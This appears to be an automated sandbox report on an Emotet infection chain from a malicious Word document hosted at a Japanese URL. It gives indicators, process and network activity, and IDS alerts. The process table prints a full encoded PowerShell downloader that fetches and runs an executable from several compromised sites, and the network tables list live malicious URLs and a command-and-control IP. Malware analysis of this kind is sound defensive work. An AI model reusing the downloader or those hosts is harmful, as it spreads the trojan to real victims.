URL:

http://yckk.jp/wp/Document/xldx9t14nfy0_tsvzn6e2q5-165915257903688/

Full analysis: https://app.any.run/tasks/e3b3177a-9f88-4b15-8ba6-dc70906cadba
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: May 24, 2019, 15:35:37
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
emotet
trojan
emotet-doc
Indicators:
MD5:

21BDCD818E4B481D4D5B8EDFD0600F98

SHA1:

5CD2BAC06CF25A3A9CAC027ED23CC69B158C83E1

SHA256:

FBCC33BEB61C48245C818114B90D1F4798BD40DDECC49C47043425D0FC08186D

SSDEEP:

3:N1KHw7gSb/eBV3k92UdKQbn:CKSBe2UJbn

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 441.exe (PID: 964)
      • 441.exe (PID: 2132)
      • soundser.exe (PID: 2824)
      • soundser.exe (PID: 3880)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 2080)
    • Connects to CnC server

      • soundser.exe (PID: 3880)
    • Emotet process was detected

      • soundser.exe (PID: 2824)
    • EMOTET was detected

      • soundser.exe (PID: 3880)
  • SUSPICIOUS

    • Starts Microsoft Office Application

      • iexplore.exe (PID: 2840)
      • WINWORD.EXE (PID: 3092)
    • Application launched itself

      • WINWORD.EXE (PID: 3092)
    • Executed via WMI

      • powershell.exe (PID: 2080)
    • Creates files in the user directory

      • powershell.exe (PID: 2080)
    • PowerShell script executed

      • powershell.exe (PID: 2080)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2080)
      • 441.exe (PID: 964)
    • Starts itself from another location

      • 441.exe (PID: 964)
    • Connects to server without host name

      • soundser.exe (PID: 3880)
  • INFO

    • Creates files in the user directory

      • iexplore.exe (PID: 2840)
      • iexplore.exe (PID: 3556)
      • WINWORD.EXE (PID: 3092)
    • Changes internet zones settings

      • iexplore.exe (PID: 2840)
    • Reads Internet Cache Settings

      • iexplore.exe (PID: 3556)
    • Application launched itself

      • iexplore.exe (PID: 2840)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3092)
      • WINWORD.EXE (PID: 3012)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
9
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start iexplore.exe iexplore.exe winword.exe no specs winword.exe no specs powershell.exe 441.exe no specs 441.exe #EMOTET soundser.exe no specs #EMOTET soundser.exe

Process information

PID
CMD
Path
Indicators
Parent process
964--9eb38dafC:\Users\admin\441.exe
441.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\441.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ctl3d32.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
2080powershell -nop -e JABwAEEAVwAzAF8AdwBKAGoAPQAnAEUAWABMAGIAdwB3AG0AJwA7ACQASAA3AFMAdgBVAHAAIAA9ACAAJwA0ADQAMQAnADsAJAB0ADgAdgBGAHIAawBuAFEAPQAnAFgAMwA2AHMAegBTAGMAbgAnADsAJABaAHAAQwBwADgAaQBCAEgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEgANwBTAHYAVQBwACsAJwAuAGUAeABlACcAOwAkAGEAWAB6AG4AQwBJAD0AJwBHAGgASgA0AEgASQAwADEAJwA7ACQAbQBEAEcAawBGAEYAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQBgAFQALgBXAGUAYgBgAEMATABpAEUAYABOAHQAOwAkAHEAYgB6AE4ATQB3AHcAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBtAGEAaQBzAG8AbgBtAGEAbgBvAHIALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AG4AUgBwAEYAWQBDAHcARgBmAC8AQABoAHQAdABwADoALwAvADQAZwBzAHQAYQByAHQAdQBwAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdwBvAHQAZAByAG4AUABHAC8AQABoAHQAdABwADoALwAvAGIAbwBuAGUAcwBwAGUAYwBpAGEAbABpAHMAdABzAGkAbgBtAGEAbgBnAGEAbABvAHIAZQAuAGMAbwBtAC8AaQBtAGEAZwBlAHMALwBlAGgAYgBpAG0AOQBxAF8AcQBnAHIAZQA1AG0AYwBqAGYAOQAtADYAOQA2ADAAOAAvAEAAaAB0AHQAcAA6AC8ALwBoAG8AbgBkAGEAdABoAHUAZABvAC4AYwBvAG0ALwB3AHAALQBzAG4AYQBwAHMAaABvAHQAcwAvAGMAbgB3AG4AdwBzAHEAaABfADUANQBjADkAcQAtADkAMgA4ADcANAA2AC8AQABoAHQAdABwADoALwAvAGIAZQB0AGEAYgBhAG4AZwBsAGEAZABlAHMAaAAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AMgA0AHQAaABmAHMAdgBvAHkAXwB0AHkAMABpAHgAaABtAC0ANQA5AC8AJwAuAFMAcABsAGkAdAAoACcAQAAnACkAOwAkAEoAWgBKADUAMQBzAD0AJwBZAGQAbQBqAFQAMAAnADsAZgBvAHIAZQBhAGMAaAAoACQAbAB3AGgAMgBpAG0AIABpAG4AIAAkAHEAYgB6AE4ATQB3AHcAKQB7AHQAcgB5AHsAJABtAEQARwBrAEYARgAuAEQAbwB3AG4AbABPAEEARABGAGkAbABFACgAJABsAHcAaAAyAGkAbQAsACAAJABaAHAAQwBwADgAaQBCAEgAKQA7ACQAUABpAEkASQBDAGkAPQAnAEgATgB6AGoAdQB3AHQAXwAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAFoAcABDAHAAOABpAEIASAApAC4ATABlAG4ARwB0AGgAIAAtAGcAZQAgADIAMAA4ADAAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAUwB0AEEAcgBUACgAJABaAHAAQwBwADgAaQBCAEgAKQA7ACQATgBIAG0AaQBHAHAAegA9ACcARgBsAE8ASwBIADEAMQAnADsAYgByAGUAYQBrADsAJABGAE8AbgA0AFAAdgBtADUAPQAnAGoAdgBuAGkASABoAGYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAdwBDAGQATgA1ADkAegBoAD0AJwBXADYAOABPAFIANwA4ACcAC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2132"C:\Users\admin\441.exe" C:\Users\admin\441.exepowershell.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\441.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ctl3d32.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
2824"C:\Users\admin\AppData\Local\soundser\soundser.exe"C:\Users\admin\AppData\Local\soundser\soundser.exe
441.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\soundser\soundser.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ctl3d32.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
2840"C:\Program Files\Internet Explorer\iexplore.exe" http://yckk.jp/wp/Document/xldx9t14nfy0_tsvzn6e2q5-165915257903688/C:\Program Files\Internet Explorer\iexplore.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Exit code:
1
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3012"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /EmbeddingC:\Program Files\Microsoft Office\Office14\WINWORD.EXEWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
3092"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\UEJN54FE\INC_97828660993US_May_24_2019[1].doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEiexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
3556"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2840 CREDAT:71937C:\Program Files\Internet Explorer\iexplore.exe
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
3880--3ab57678C:\Users\admin\AppData\Local\soundser\soundser.exe
soundser.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\soundser\soundser.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ctl3d32.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
Total events
2 915
Read events
2 390
Write events
515
Delete events
10

Modification events

(PID) Process:(2840) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
Operation:writeName:CompatibilityFlags
Value:
0
(PID) Process:(2840) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(2840) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(2840) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones
Operation:writeName:SecuritySafe
Value:
1
(PID) Process:(2840) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:writeName:ProxyEnable
Value:
0
(PID) Process:(2840) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
Operation:writeName:SavedLegacySettings
Value:
4600000071000000010000000000000000000000000000000000000000000000C0E333BBEAB1D301000000000000000000000000020000001700000000000000FE800000000000007D6CB050D9C573F70B000000000000006D00330032005C004D00530049004D004700330032002E0064006C000100000004AA400014AA4000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C0A8016400000000000000000000000000000000000000000800000000000000805D3F00983740000008000002000000000000600000002060040000B8A94000020000008802000060040000B8A9400004000000F8010000B284000088B64000B84B400043003A000000000000000000000000000000000000000000
(PID) Process:(2840) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Recovery\Active
Operation:writeName:{9A445B3F-7E39-11E9-B63D-5254004A04AF}
Value:
0
(PID) Process:(2840) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{2670000A-7350-4F3C-8081-5663EE0C6C49}\iexplore
Operation:writeName:Type
Value:
4
(PID) Process:(2840) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{2670000A-7350-4F3C-8081-5663EE0C6C49}\iexplore
Operation:writeName:Count
Value:
1
(PID) Process:(2840) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{2670000A-7350-4F3C-8081-5663EE0C6C49}\iexplore
Operation:writeName:Time
Value:
E3070500050018000F00230031004900
Executable files
2
Suspicious files
6
Text files
12
Unknown types
17

Dropped files

PID
Process
Filename
Type
2840iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\favicon[1].ico
MD5:
SHA256:
2840iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico
MD5:
SHA256:
2840iexplore.exeC:\Users\admin\AppData\Local\Temp\~DF0430CA7C36BC9FFE.TMP
MD5:
SHA256:
3092WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR145B.tmp.cvr
MD5:
SHA256:
3092WINWORD.EXEC:\Users\admin\AppData\Local\Temp\OICE_C3596F1E-4F84-4715-8E1E-376761ACDE5C.0\EB341F14.doc\:Zone.Identifier:$DATA
MD5:
SHA256:
3556iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\UEJN54FE\INC_97828660993US_May_24_2019[1].docdocument
MD5:
SHA256:
3556iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\desktop.iniini
MD5:4A3DEB274BB5F0212C2419D3D8D08612
SHA256:2842973D15A14323E08598BE1DFB87E54BF88A76BE8C7BC94C56B079446EDF38
3556iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.datdat
MD5:
SHA256:
3556iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\UTHS2XIA\desktop.iniini
MD5:4A3DEB274BB5F0212C2419D3D8D08612
SHA256:2842973D15A14323E08598BE1DFB87E54BF88A76BE8C7BC94C56B079446EDF38
3092WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
4
DNS requests
3
Threats
8

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3556
iexplore.exe
GET
200
219.94.128.28:80
http://yckk.jp/wp/Document/xldx9t14nfy0_tsvzn6e2q5-165915257903688/
JP
document
68.0 Kb
suspicious
3880
soundser.exe
POST
76.86.20.103:80
http://76.86.20.103/cookies/
US
malicious
2080
powershell.exe
GET
200
138.197.32.141:80
http://www.maisonmanor.com/wp-content/unRpFYCwFf/
US
executable
74.0 Kb
suspicious
2840
iexplore.exe
GET
200
204.79.197.200:80
http://www.bing.com/favicon.ico
US
image
237 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2840
iexplore.exe
204.79.197.200:80
www.bing.com
Microsoft Corporation
US
whitelisted
3556
iexplore.exe
219.94.128.28:80
yckk.jp
SAKURA Internet Inc.
JP
suspicious
3880
soundser.exe
76.86.20.103:80
Time Warner Cable Internet LLC
US
malicious
2080
powershell.exe
138.197.32.141:80
www.maisonmanor.com
Digital Ocean, Inc.
US
suspicious

DNS requests

Domain
IP
Reputation
yckk.jp
  • 219.94.128.28
suspicious
www.bing.com
  • 204.79.197.200
  • 13.107.21.200
whitelisted
www.maisonmanor.com
  • 138.197.32.141
suspicious

Threats

PID
Process
Class
Message
3556
iexplore.exe
Potential Corporate Privacy Violation
ET POLICY Office Document Download Containing AutoOpen Macro
2080
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2080
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2080
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
3880
soundser.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
3 ETPRO signatures available at the full report
No debug info